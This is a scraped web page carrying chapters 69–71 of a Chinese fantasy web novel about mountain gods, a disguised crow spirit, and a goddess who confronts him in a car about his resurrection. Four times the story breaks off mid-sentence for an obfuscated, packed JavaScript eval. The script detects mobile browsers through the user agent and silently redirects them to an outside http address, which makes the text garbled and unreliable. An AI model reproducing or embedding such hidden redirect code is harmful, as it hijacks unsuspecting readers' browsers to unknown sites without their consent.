印象中,施浴霞大概是和荣观真同一时期接任本山山神之位的,许多年前他们还打过几次交道,而如今时移世易……也不知道她现在过得怎么样了。 时妙原还沉浸在回忆中,就听见荣承光问道:“但贡布达瓦为什么不来?我们到了他的地盘,他就不准备来接待一下么?” 荣承光放下报纸,慢条斯理地说:“贡布达瓦当然不来。他自古至今从不出山,谁想见他都得亲自去木提措找才行。从贡嘎市到克喀明珠山还有一段距离,我们等会儿先去酒店歇下,明天再开车出发好了。” “啊?那我们马上就要走了吗?”时妙原一听就慌了神,他抓住荣观真的胳膊紧张兮兮地问:“那什么,我能不能再带瓶氧气走啊?我怕死啊老爷,万一我半路缺氧缺得太厉害变成笨蛋了,到时候连你都认不得了可怎么办?!” “还能怎么办,直接给你就地扔路边喂牦牛呗!”荣承光冷笑道,“就是不知道牛吃傻子肉会不会生病,你别到时候还得给人牧民倒赔钱。” 时妙原立刻举手向荣观真告状:“陛下,二皇子他欺负我!” 荣观真抬眼道:“承光,你去前台开两瓶医用氧气,再顺便拿包没开封的鼻氧管。钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319393|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你自己出,东西你自己搬,要是碰坏了我会让你重买。哦,如果看见卖淀粉肠的记得给我带两根。” “他妈的昏君!”荣承光拉着遥英骂骂咧咧地走了。 二皇子携皇妃摔门而去,时妙原狗仗人势扳下一城,立刻感觉头也不晕了胸也不闷了,就连脚板底都充满了力量。要不是鼻孔里还插着塑料管,他现在高低得直接下床绕机场跑上三圈。 至于荣观真,他虽继续看起了报纸,但他的嘴角也一直在控制不住地往上翘。有那么一瞬间,时妙原感觉自己好像回到了封建帝制时期:他是为达目的不择手段日夜攀附龙床的奸邪佞臣,而荣观真就是那种起义军都打到城下了还要继续沉迷男色的昏君。 时妙原正得意着,突然又一阵眩晕袭来,他“哎哟”一声倒到了枕头上。 “头!我的头!”他哀嚎道,“这枕头怎么这么硬!” 医疗室的床硬得就像是石头,荣观真见他龇牙咧嘴乱叫,便把他扶起来靠到了自己肩膀上。 “别乱动。”他按住他的胳膊,“小心点滴回血了。” “不行不行不行……我还是得再缓一会儿!”时妙原像只毛毛虫似地在他怀里扭了起来,“气我是喘得过来了,但就是感觉肚子好胀,就好像有人在里面踹我一样!哎哟,陛下你摸摸,我这不能是怀了龙种吧?我可是清清白白的男儿身啊,我不能有这个功能的啊大夫!” “要我说,你就是飞机餐吃多了。”荣观真往掌心哈了口气,把手放到他肚皮上轻轻揉了起来:“这样会不会好些?” “嗯……您别说,好像是舒服许多了。”时妙原爽得直眯眼睛,“可以啊皇上,没想到您这养尊处优的,还挺会伺候人哈。” “再养尊处优能有你矜贵吗?”荣观真戳着他的肚皮说,“我倒要问呢,你这也没什么锻炼痕迹,为什么会高反得这样严重?” 时妙原哀怨地瞪了他一眼。 门又吱呀一声开了,荣观真头也不抬地说:“承光,氧气瓶放车上就可——” “车就停在外边,你们准备什么时候过去?” 回答他的并不是荣承光。 他们纷纷抬头,只见一个身穿白色始祖鸟冲锋衣的女人推门走了进来。 她的皮肤被晒得略黑,头发干练地梳到脑后,高筒登山靴上还沾着不少泥。光从外表上看,她和山野中随处可见的徒步发烧友几乎没什么两样。她的脖子上挂着什么亮晶晶的东西,不过一进门,她就把它收进了衣领里。 荣观真见到她,先是愣了一下,然后他试探性唤道:“小霞?” “是我,荣老爷,好久不见。”施浴霞取下墨镜,对他点了点头。“承光已经上车了,他累得不行,就委托我来这儿喊你。你要是没别的安排,就也跟我一起来吧……嗯?” 她说到一半,瞥见了缩在荣观真怀里装可怜的时妙原。 “哟。”她饶有兴致地挑了挑眉毛,“荣老爷好雅兴啊,这又是你打哪儿弄来的小鸟?” 69.度母渡吾(二) 是夜,贡嘎机场地下停车场。 施浴霞坐进驾驶位,引擎的轰鸣声在地库中轰隆隆地响了起来。 她今天开的是一辆红色的越野款吉普车,这车底盘高、空间大,塞五个人加两罐氧气瓶都还绰绰有余。她负责开车,荣观真坐副驾驶,时妙原抱着氧气罐挤在后排,时不时就要隔着遥英和荣承光用眼神交战三百回合。 “明天一早我开车带你们去克喀明珠山,路上耗时可能很长,你们有心理准备的吧?”施浴霞一边倒车出库一边对荣观真说,“荣老爷家里都打点好了没有?你那俩孩子怎么没带过来?” “你说亭云和居星?他们在蕴轮谷看家。”荣观真利落地系好安全带,还扯了好几下。“我带了另一个护法,就是后面那个吸氧的,我之前应该和你提过。” 时妙原鼻孔里塞着输氧管,对施浴霞惨淡地挥了挥手。 “见过施奶奶。”他瓮声瓮气地说。 施浴霞上下打量了他两眼:“真是稀奇,没想到荣老爷居然会收年龄这么大的护法。” “我最近比较缺人手,正好和他还算投缘,便收到门下来了。不像你,这么多年也不找个副手帮忙。” 荣观真打开食品袋,一股诱人的香气在车内蔓延了开来。施浴霞好奇地问:“你手里这是什么?” “烤淀粉肠。承光买的,你要来点吗?我之前凑巧吃了一次,感觉味道还不错。” “……不了。但说到这个,承光啊,你怎么又换造型了啊?”施浴霞回头问道,“我记得上次你不还是红毛吗?” “我这个……我换换心情。”荣承光讪讪地说。 时妙原注意到,荣承光现在好像十分紧张。 越野车缓缓向出口驶去,越靠近闸机,荣承光的身体便越是紧绷。 他左手抓着遥英的胳膊,右手则紧握住了车顶篷上的安全扶手。时妙原看得十分可乐,他凑到他跟前小声问道:“哟,小荣老爷今儿怎么转了性了?坐个小汽车而已,你有必要那么紧张吗?” 荣承光瞪了他一眼:“你懂个屁。” “我不懂,至少我胆子比你大……哎?” 时妙原还没说完话,就感觉自己连人带氧气罐飞了起来。 嗯? 不是错觉,他们确实在飞。 道闸杆重重落下,然后——砰!越野车磅礴落地,只眨眼间便如火箭般直冲出了两百米远。 “等等等等等等等一下!等一下,等一下啊啊啊啊啊!!!”时妙原大叫着抓住了车顶扶手,“奶奶?奶!车!车在飞!我在飞!我在飞啊施奶奶!!!!” “你不是鸟吗?飞起来对你算什么稀奇事!” 施浴霞一脚油门,带着整车人的心脏来了个精彩的漂移。她一边加速一边大喊道:“抓稳了!从这儿到市区正常开得一小时,但你们别担心,我必在二十分钟内抵达目的地!” 车又飞起来了!车子在飞,轮子在飞,乘客们的头发在飞,就连窗外的景象也在迅速往后飞。夜间公路开阔无人,只是前方出现了一片减速带,时妙原下意识握紧扶手,几乎就在同时,他感到整辆车悬空了至少三秒。 氧气罐在他怀里发出阵阵尖叫,很快他发现那叫声不仅来源于此。荣承光缩在遥英怀里惨叫连连,更衬得施浴霞的笑声狂放不羁,她畅快不已地播报道:“看看啊!看看!现在两百迈咯!!” “你开慢点啊啊啊!!!”时妙原吓得魂飞魄散,“这里限速七十!七十!你别撞到人了!!!!” “限速?先别管这么多!有我在你觉得会出事吗!我跟你说,今天就算压死了蚂蚁,我都能下去把它带回来!呜呼——爽!来,天窗打开了,你们谁想站上去吹吹风?” “头!头!我的头要被吹掉了!” “遥英!遥英你别撒手!我好害怕啊啊啊啊!!!” “看看!弯道漂移!承光啊,你为什么不笑?哭哭哭就知道哭!家里福气都被你哭光了!” “施奶奶!奶!妈!妈妈妈妈!!!!有交警!交警在后头追我们呐啊啊啊!!!!!” 车后传来警笛的鸣叫,施浴霞啧了一声,方向盘一打直接拐到了一条小道上。土路坑坑洼洼,车速不减反增,整车人被不断抛起又落下,有那么一瞬间,时妙原感觉自己变成了炒锅里身不由己的玉米粒。许多零碎的片段依次从他眼前闪过——这里是乌枫镇,那里是蕴轮谷,他回了香界峰……他怎么看到了扶桑树?这是走马灯吗?他快要死了吗?荣观真当年砍他的时候他都没有经历过走马灯!!!! 就在此时此刻,时妙原终于回忆起了两千年前在金云村大湖上被施浴霞的划船技术统治的恐惧。这么多年过去了,此女的性格变了多少暂且按下不表,但至少有一点是可以肯定的:她不论驾驶任何载具都又稳又快,又猛又狂,唯一美中不足之处就是,这种开法比较费乘客。 早知会有今日,他刚才说什么都得自己从机场飞到酒店去! 车速还在加码,荣承光已经连叫都叫不出来了。就在乘客们即将两眼一黑昏死过去之前,施浴霞猛地拐回大路,一脚刹车在离白线最后半厘米的地方稳稳停了下来。 前方正好是红灯。 “呼——爽!” 她拉下手刹,爆发出了一阵畅快的笑声:“太爽了!还是现代科技好啊!只要动动脚板底就能开这么快,放以前光是抽马都得费老大力气!哎,你们怎么都不说话?承光,你的头发怎么竖起来了?” 车内一片死寂。 荣承光苍白地倒进了遥英怀里,时妙原搂着氧气罐瑟瑟发抖,连鼻氧管掉下来了都浑然不觉。 管子滋滋往外冒气,他的高原反应是暂时消停了,只是魂还停在贡嘎机场没有被捎过来。 和他们比起来,荣观真简直平静得吓人。他咬下一块淀粉肠,将剩下的半根递到了时妙原面前:“要不要来点?” “我……我要……吗?”时妙原颤颤巍巍地摇了摇头,“我就不吃了……我感觉胃好像有点……呕呃啊……” 叮!短信提示音响起,施浴霞掏出手机一看,立刻破口大骂:“靠!居然说我超速了!他大爷的,还是以前好,以前拉九头牛在地上跑都没人能管得了我!” 有了罚单警告,她才终于不情不愿地把速度降了下来。信号灯很快变绿,驾驶终于趋于平缓,时妙原还没来得及松一口气,突然感觉车子再度停了下来。 “又怎么了?”他胆战心惊地问。 “前面好像封路了。”施浴霞眯起了眼睛。 前方果然设置了路障。红蓝两色的警示灯轮番辉映,远远看去还有好些交警在指挥疏散。路面上散落着许多碎石,两旁的高山黝黑而又沉默,看样子,这里很有可能刚发生过一场小型滑坡。 “我……我下去看看情况!”遥英方才始终不发一言,眼下得了机会立刻便主动请缨:“承光,你也跟我一起去!” 荣承光忙不迭跟上,他下车的时候差点摔了个狗啃泥。施浴霞见状问荣观真:“你不去吗?要真有落石,有你在应该很快就能解决。那小鸟,你就留下来吧,高反患者不宜走动太多。” “也行。” 荣观真潇洒地解开安全带,轻松地打开车门,沉稳地站定在地上,小腿一软差点跪到了地上。 他很快就调整好重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325187|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心,和荣承光相互扶持着向路口挪了过去。 时妙原把自己缩成了一团。 车内光线昏暗,只有信号警示灯扫过车内时视野才会有片刻清晰。他抱着氧气罐默默又吸了一会儿,一抬头,发现施浴霞在透过后视镜看他。 “施奶奶?你……” 施浴霞冷不丁问道:“现在感觉怎么样,还呼吸不过来吗?” “啊?还好!胸已经不闷了,就是身子还使不上什么力气,不过也比之前好多了。”时妙原唯唯诺诺地答道,“谢谢奶奶关心。” “那就好。唉,也是苦了你了,这地方什么都不错,就是海拔高,一般人和妖怪都住不太习惯。” 施浴霞说着,稍稍调整了一下后视镜的角度。时妙原见她心情不错,便鼓起勇气套起了近乎:“施奶奶平时喜欢四处云游么?我看您这身行头还挺专业的。” 施浴霞笑道:“云游吗?算是吧,我是不太喜欢待在同一个地方。不过这还是我第一次到西南雪山来。这里的阳光很好,你们到得太晚,等明天天亮了,外面的景色会和现在大不相同。” 时妙原连声应和:“那是!毕竟贡嘎可是日光之城,我听说这边一年四季阳光明媚,连下雪的时候天都亮堂堂的。” “对,这儿不仅日照充足,山也多高多奇,和中原比起来很不一样。”施浴霞在驾驶座上伸了个懒腰,“看见前面那座雪山了没有?它叫作卓玛拉山,也属于克喀明珠山的一脉。卓玛拉在藏语里意为‘度母’,是他们传说中的一位女神。” 卓玛拉山安然伫立在远方,即便在夜色之中,它顶上终年不化的积雪也如强光般醒目。远远望去,它的确像是一位袭白裙冠立于山巅的女子,雪雾随风舞落,那是她轻盈轻巧的秀发。 哒,哒,哒。施浴霞用手指有一搭没一搭地敲打起了方向盘,她自言自语道:“一位被称作女神的山,我喜欢这个说法。对了,你是不是还没见过雪山上的日出?” “啊……对!” “那你可要有眼福了,我看过许多日出,唯独这儿的最特别。”她指着卓玛拉山的方向说,“每天早上起床,朝阳会像金箔一样映射在白雪与冰川之上,当地人管这个叫‘日照金山’。这里海拔高,离天空很近,有个别时候,我甚至会觉得太阳就在我眼前呢。” “哈哈!那您可得戴好墨镜了。”时妙原一边整理身上的鼻氧管一边说,“就算是神仙,直视太阳久了也会不舒服的。” “是啊,天光毕竟刺眼,在高原地区还是得做好防护。对了,有件事情我一直很好奇,现在在天上挂着的这颗太阳,究竟应该算是你的弟弟还是妹妹呢?” “哦那个其实是我哥……等一下?!” 时妙原猛然抬头,迎上了施浴霞和善的微笑。 咔咔咔咔!车门瞬间全部反锁,她明明还抓着方向盘,脑袋却以一种不科学的角度整个旋转了过来。 有什么东西在她的心口发光,那是一柄破碎的小刀。 是万霞。 曾经被她挥得虎虎生风的神刀,而今却只剩下了并不规则的半截。刀片晃晃荡荡,它反射出时妙原脸上的惊惶,也倒映出了他最本真的模样。 本来的模样。 施浴霞抬起右手,车窗应声变成了黑色。外界的声光悉数远去,现在,这里是一方只有他们两人的真空地带。 “从外面看这辆车,会觉得一切如常。即使是荣观真,一时半会也没法察觉到这里正发生的事情。”她平静地说。 “不过,如果你不告诉我,为什么你能复活的话,他就会立刻,马上,毫不拖泥带水地知道你的全部底细,时妙原。” 70.度母渡吾(三) “时妙原,你不是早就已经死了吗?”施浴霞沉声道,“你告诉我,你是怎么能在三度厄的诅咒下活过来的?” 四下寂静无声,就连引擎的轰鸣声也被隔绝在了车外。 时妙原蜷缩在后座一隅,施浴霞的目光如鬼火般冷冽。 对视使人煎熬,而她话里的笃定更令时妙原不知如何应对才好。他无处可逃,只觉得后背被硬生生烘出了一片冷汗。 他将手探向了车门。 唰唰唰!时妙原还没来得及碰到把手,那些方才还在维系他生命的塑料软管便立马反戈,似藤蔓般缠遍了他的全身。 “啊!疼!”他立马大叫出声,“姑奶奶,你勒住我脖子了!我,我有点喘不过气儿!救命啊,救命啊!杀鸟啦,杀人了!虐待小动物啦——!” “叫也没用,外面的人是不可能听见的!”施浴霞将驾驶座放到最低,她一脚踩上椅背,在时妙原惊恐的眼神中揪住了他的衣领:“你敢再乱喊一句,我现在就出去告诉荣观真你的身份!” 时妙原直接被吓出了眼泪:“我不是你要找的人,我根本就不是时妙原啊!你认错人了,你们真的全都认错我了!之前就有人把我当成了他,我发誓我我我就只是长得和他有一点点像而已!我是喜鹊,我不是乌鸦,你要是不信的话,我现在就变回去给你看!!” “万霞从来不会错认,你好好看看自己现在的样子!” 施浴霞把万霞碎片抵到了时妙原脸上。冷白的刀面倒映出他的红瞳,还有她眼中的戏谑与震怒:“你别在我面前装可怜!你是真的害怕吗?荣观真吃这套我可不会吃,你再敢给我演一个,我就立刻把你捅死送到冥界去让阎王爷看看你的本相!” “……” 时妙原无声地张了张嘴巴。 施浴霞的目光如剑,在这般凌厉的审视下,他不得不慢慢慢慢地——放松了下来。 “那不装,就……不装了呗。” 他用肩膀蹭掉眼泪,对她露出了讨好且放松的笑容。 “小霞啊,好久不见。” 施浴霞倒吸了一口凉气。 她喃喃道:“你真的是时妙原。这怎么可能……” “对,是我。我是你妙原叔啊。你那什么,咱们久别重逢,你就别凶我了好不好?”时妙原笑得十分勉强,“你说话声音一大,我……我就容易紧张。” 话音刚落,他感到脖子上的塑料管稍稍松动了些许。施浴霞将万霞收回了衣领中,她冷冷地说:“告诉我你复活的原因。” “我……” “你是怎么复活的,你为什么会假扮身份混迹在荣观真身边,我要你一五一十地交代给我。” “在你拷打我之前,我能不能稍稍稍稍提一个意见?”时妙原心有余悸地问,“你先把头掰回去好吗?你……你这个造型真的好诡异。” 施浴霞将脑袋复归原位,问:“现在可以了吗?” 时妙原点头如啄米。 “那废话少说,我们开始吧。你是什么时候活的?” “咱都多久没见了?你怎么不跟我多寒暄两句啊……”时妙原还在东扯西扯,见她眉头一皱,立马识相地说:“就上个月的事情!” “在哪活的?” “空、空相山里。” “怎么活的?” “莫名其妙就从河里爬起来了……” “你是如何遇见荣观真的?” “就在山里边遇见的呗!你要问具体的,这一时半会我也给你说不清楚,反正,你就当我前世作恶多端,今生一睁眼就走狗屎运遭报应倒了天大的霉就行了……” “是因为金羽吗?”施浴霞直接无视了他话里不着调的部分,“你当初昭告天下,说只要能集齐十枚金羽就能让你复活,有这回事吧?” “照理说是这样的……但我身上现在的金羽其实不全,感觉有没有完整的一片都难讲。” “你糊弄鬼呢?” “哎哟,糊弄鬼算不上,在骗神倒是真的。”时妙原苦哈哈地说,“目前来说我每天的主要任务就是骗荣观真,瞒荣观真,伺候荣观真,编排荣观真,必要时向他出卖色相以求一丝生路这样。” 施浴霞挑高了眉毛:“荣观真难道不知道你是谁?” 时妙原噎了一下:“这个……应该是不知道的吧。” “你不跟他说?” “说了我会死的。” 施浴霞露出了不可理喻的表情。 “算了!你俩如何我不关心。”她烦躁地摆了摆手,“我来只是为了搞清楚我师父的事情。” 时妙原微微一愣:“你是说闻音?” “对,当年她的死,我觉得另有隐情。” “啊……” 施浴霞沉声道:“荣观真说那是山神之位交替的结果,他说她不得不死,可是我父亲将神位传给我的时候明明不是这样的。这些年我去了很多地方,我问过无数山神水神,是,交迭的确存在,可没有任何人笃定说那要以前一任的性命为代价!那天他们进藏仙洞之前你也在的对吧?当时你也亲眼看到了对不对?她,他们进去之前明明还好好的!可出来以后,出来以后就……!” 梆!的一声,她将椅背拍得抖了三抖。真皮的坐垫瞬间被锤凹了进去,时妙原看着那块塌陷的地方,不由得想象出了它浮现在自己脸上的样子。 他心惊胆战地问:“所以,连你也认为,荣观真是为了得到山神之位,才蓄意谋杀了闻音的吗?” “哈啊?”施浴霞仿佛听到了什么天大的笑话,“我在你心里是这么不可理喻的人吗?” 时妙原赶忙找补:“我知道你不会……” “荣观真品性如何我心里有数!他唯一的问题在于,他根本就不愿意和我们任何一个人分享当年的内情。” 施浴霞指着时妙原说:“你可能知道得多一些,但我猜也好不到哪去。我们都明白他有苦衷,我也知道每一座山每一条河的情况都不可能完全一样。可他不说怎么能让人接受他的做法?他不出来解释怎么平息旁人的诋毁?有那么多人骂他恨他,他自己说不在意,难道真的一点都不往心里去吗?远的不说,就说承光!光我听说的他们就不知道为我师父的事吵了多少次……你们前些日子在乌枫镇遇到的事情,我也有所耳闻。” 时妙原问:“他对你说了多少?” “不多。他只说遇到了一头羊,还在水底看了出好戏。他还告诉我他在一千年前封印了承光,我想,一千年前?那不就是我师父出事那会儿吗?我继续问,他就要我一起来克喀明珠山去找贡布达瓦,但是别的他也不愿再告诉我了。你有没有问过他具体细节?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329775|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我?问他?”时妙原像条毛毛虫一样拱到了施浴霞面前,他万般无奈地说:“我的好妹妹啊,我从他手下求生还来不及,怎么敢问这些有的没的呢?伴君如伴虎的道理你懂不啦?你叔我现在属于是每天钻老虎被窝里狂摸它的屁股啊!” 施浴霞反问道:“你真觉得他对你的身份一无所知吗?万霞能戳穿你的伪装,我不相信他没有办法做到。你心里应该清楚,你俩不管有多深的仇怨,他也不会和除了你以外的任何人亲近。你有没有想过这件事要如何收场?他要是知道你一直在骗他,你觉得以他的性格,他会怎么对你?” “知道不知道的并不重要,要杀要剐都随他的便!”时妙原破罐子破摔道,“反正这件事的主动权又不在我身上!” “恰恰就在你身上!”施浴霞笃定地点了点他的胸口,“你是被三度厄杀的,我师父也是被三度厄杀的,既然你能活,那她也应该可以!” “你啊你,你不会是想拿我做实验吧?!”时妙原瞬间往后挪了几寸,“恕我直言,你现在想杀我容易,想再拿到一把新的三度厄可难了!你要是实在看不惯我,你就在这把我刀了成不?” “你这是什么意思?” 施浴霞发现了他话里的微妙之处:“你说新的三度厄……那把剑难道出了什么问题?” “我……” “你快告诉我,三度厄还能再惹出什么事端吗!?” 时妙原纠结片刻,道:“我之前,我在香界峰的时候,发现了三度厄的残骸。” “什么?” “它断了。” “断了?”施浴霞不可置信地问,“你的意思是,他又用了那把剑一次?” 时妙原沉重地点了点头。 施浴霞整个愣在了原地。 有大半分钟的时间,她既不说话,也不活动,就仿佛被什么东西夺去了灵魂。 过半晌,她轻声问:“他又杀了谁?” 时妙原摇头。 “那第三个倒霉蛋会是谁?” “我不知道。” “他拿三度厄杀死了闻音,杀死了你。三度厄还有一次使用机会,你也就死了九年而已!他到底还能和谁……” “你问我我怎么会知道!”时妙原终于失去了耐心,他烦躁地大吼道:“他愿意和谁纠缠不清就纠缠不清,愿意像恨我一样恨谁那就去恨谁!他什么都不愿意对我说,那我又不是他肚子里的蛔虫!就我现在这个样子,你难道指望我去逼问他谁是三度厄的最后一个受害者——” “……吗?” 时妙原说到一半,突然卡住了。 没来由地,他回想起了许久许久之前,他曾经亲眼目睹过的一个画面。 他在金顶枝境看到的画面。 两千年前,金顶枝境。香界峰顶,杏花树下,荣观真浑身是血。 他穿着在当时看来不合时宜的衣服,受了以他的身份绝对不可能受的伤,他见到他时的雀跃犹在眼前,而在幻境崩塌之前,他用三度厄捅穿了自己的心脏。 “不会吧……”时妙原自言自语道,“会发生这样的事吗?” 会发生这样的事吗? 他又想起了那个“荣观真”对他说的话。 他说的是: “只要再下一次地狱,你就会来见我了。” 71.度母渡吾(四) 车内一片死寂。 时妙原的心脏扑通直跳,某种可能性如草籽般落下,在他胸中疯长、嚣叫,长成了参天而上的大树。 他被枯藤淹没,每一寸枝叶都在向他痛哭。树上的年轮说:“你不要走。”树下的枯泥说:“你终于来了。”春泥间的小虫说:“我不想对你说再见。”它们纷纷对他说:“今天我快死了,而你却来到了我身边。” “这是不是意味着,我们其实并不一定要分开?” “这是不是意味着,只要我死了,你就会回来看我?” “只要再下一次地狱,你就会来见我了。” “对吗?” 砰! 幻境崩塌,血花四溅。 吉普车喇叭长鸣不止,施浴霞将脑袋靠到了方向盘上。 她的双手紧握着方向盘,眼神却不知在看向何处。正前方空无一物,正后方空无一物,他们身边也全部都是一片虚无。 她看不见远方的雪山,通向卓玛拉的道路没入了层叠明灭的黑暗,众生之母从不吝于让人窥见她的容颜,只是,人若主动遮蔽住自己的双目,那就由不得她再作渡化或点拨。 “三度厄是……独一无二的。” 施浴霞声音沙哑地说。 “师父曾告诉过我,比起祝福,那把剑上的力量更接近于诅咒。” “不论是天神还是恶鬼,只要为它所杀,就一定会魂飞魄散,不可能有任何生还的可能。” “三度厄由上古真神所赐,她自得获后几乎从不敢使用,可为什么,她要把它交给荣观真来保管?” 她回过头,脸上隐约有泪痕闪烁。 “她为什么要把一个能置自己于死地的东西,轻而易举地交付给别人?”她带着哭腔问道,“就凭他注定要替代她吗?” 时妙原说:“因为她相信他。” “这说不通!” 施浴霞用力擦干了眼泪:“她如果忌惮三度厄,就应该把它直接给毁掉。她与其相信荣观真能控制好这把剑,还不如干脆把它给留给我!我随便杀三只鬼破掉剑诅,不也比留个隐患在身边好吗?这些年来我一直在找复活她的办法,但就连冥府也留不住她的魂魄,她的魂我找不到,你的我也遍寻不得,可现在你回来了,还说这不是因为金羽,这一切怎么能说得通啊?!” “是啊,这根本就不可能。”时妙原木木地说,“就算是天王老子来了,我也应该彻底死透了。” “就当我求你的,你去问问荣观真好不好!”施浴霞扑到了他面前,她哀求道:“你去和他开诚布公地谈谈吧,你根本就没有必要瞒着他,你死后他其实特别想你,有好几次我到香界峰去找他,我都能看见他在哭啊!” 时妙原果断回绝:“谈不了。” “为什么?” “因为我害死了人。”他斩钉截铁地说,“有无辜之人因我而死,我造的业绝无抹消的可能,当初别说是荣观真恨我入骨,就算换作是我自己,我也绝对不可能原谅这样的事情。” “但我知道那其实不是你的错!”施浴霞急切地说,“我在你出事之后查过,我心里清楚得很,那些所谓被你害死的孩子,他们其实是……” “你不要再说了!” 时妙原厉声打断了她:“施浴霞,我看在你是小辈,懒得和你计较,才会任由你在我面前放肆!你不要忘记我是谁,如果我想的话我可以现在就在这里让你彻底闭嘴!你大可以继续逼问我下去,但你就算把我拆开了一根一根骨头地问,一张皮一张皮地去磨,你也不可能从我嘴里得到任何答案!” “可是——” “不论你怎么想,过去的都已经过去了!” 时妙原挣脱她的钳制,退到后排座椅的角落说:“你想为你师父讨个说法,我可以帮你。但我和荣观真之间的事情,我不希望有任何人来插手!我已经死过一次了,不,其实我已经死了两次了,过去的记忆对我来说就像是别人的事情一样!我现在没那么多心思考虑从前,我只关心以后会发生什么,你觉得我可怜也好,就当我罪有应得也罢,反正我看不论是人是鬼,活着本身就是在世上受罪!” 施浴霞哇一声哭了出来。 “我倒宁愿我是鬼就好了!!!”她放声大哭道,“我爹不在了,我师父也不在了,他们都不要我了,我活着还有什么意思!” “不……不是?你爹又怎么了啊?” 听到这话,时妙原好不容易燃起的气势立马消减了下去。他震惊地问:“你爹他……施大人他,他不是本来就在下面的吗?他难道还能再下两百层不成?” “我不管……呜……你得给我个说法!” 施浴霞像个孩子似地撒起了泼来,她哭得实在用力,就好像要把这辈子所有的伤心事都随眼泪冲干净一样。车厢内回荡着她的恸哭,就在这一刻时妙原绝望地意识到,她就算再稳重,荣观真就算再成熟,这些最多不过活了两三千岁的山神,在他面前也不过是一群小不点东西而已。 他痛苦地闭上了眼睛:“唉……我怎么就摊上了你们这群祖宗啊。” “呜……呜呜呜……” “好了,你别哭了,我不凶你了好不好?” “师父,我要师父……我要我爹……我不想活了……” 时妙原简直是一个头两个大:“好了啊小霞,你这样伤心,闻音要是知道了肯定会打死我的!你到底想干什么你说!我能帮就帮,好不好?!” “好啊,我要你帮我查明她离世的真相。”施浴霞立马停止了流泪。 “不是?你这调理得也太快了吧!”时妙原被她的变脸速度吓得差点背过气去,“祖宗啊,你以为我不想知道这一切究竟是怎么回事吗?你以为我为什么会大老远跑来这里?就那个山羊头的王八蛋,我觉得它绝对和老荣家的恩恩怨怨有关系!你也是想到了这一点才会过来的吧?来,我问你,前面路上那个落石是不是你弄的?你费这么大力气单独戳穿我,你一定会替我保密的,对吧?” “什么?不……”施浴霞正欲为自己辩解,突然听见有人在敲打车窗。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338779|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“小霞?门怎么锁了?”那人问。 施浴霞脸色一变:“不好,是荣观真来了!” 她一个激灵调整好座椅,三下五除二拔下缠在时妙原身上的吸氧管,还不忘往他嘴里塞了根吃剩下来的淀粉肠。做完这些后她抓着他的肩膀说:“你听着,我会帮你保密,但是你必须弄清楚我师父是怎么死的,还有你自己是怎么活的!” 时妙原艰难地把淀粉肠咽了下去:“你问我我哪知道!” “我不管!万事皆有缘由,我刚才想明白了,师父之所以会把剑给荣观真,恐怕是有要事得托付给他。而你也一样!” “我?!” “你会在这时候复活,就说明已经发生了什么必须由你来做的事情!如果你的复活是旁人手笔,那么他就要有这么做的理由。如果这是你自己努力的结果,你自己心里也应该有数,不管怎么说,你都绝对要有死而复生的动机!” 屏障瞬间解除,荣观真拉开车门,矮身坐进了副驾驶室里。 “走吧,路上的石头都收拾好了。”他一边系安全带一边对施浴霞说,“小型滑坡而已,后续的交通都不会受到影响,那些交警的记忆我也抹去了,咱们继续开就……嗯?你俩吵架了吗?怎么车垫子都打破了。” “是啊,你怎么才回来?我都已经和他决斗了好几轮了。”施浴霞粗声粗气地说,“他吃了你的淀粉肠还不够,又吵着要我给他再买,我说这荒郊野岭的到哪给你找去?一来二去他就跟我叫起来了。荣老爷,你是从什么地方捞到的护法?做妖怪的会高反就已经很夸张了,居然连口味也像你一样奇怪!” “哦,这东西很合他胃口吗?”荣观真回头望了时妙原一眼,“你要是还想吃的话,到酒店我给你再找是了。” 施浴霞不耐烦地滴了滴喇叭:“别管这有的没的了。承光!遥英!你俩赶紧上车!走吧,再不回去天都要亮了!” 数清人头之后,她再一次将油门踩到了最底。这一次她开得依旧很快,但车内的乘客比起之前都冷静了不。道路两旁的山景和植被飞速远去,没一会儿,遥英就靠在荣承光肩膀上睡了过去。 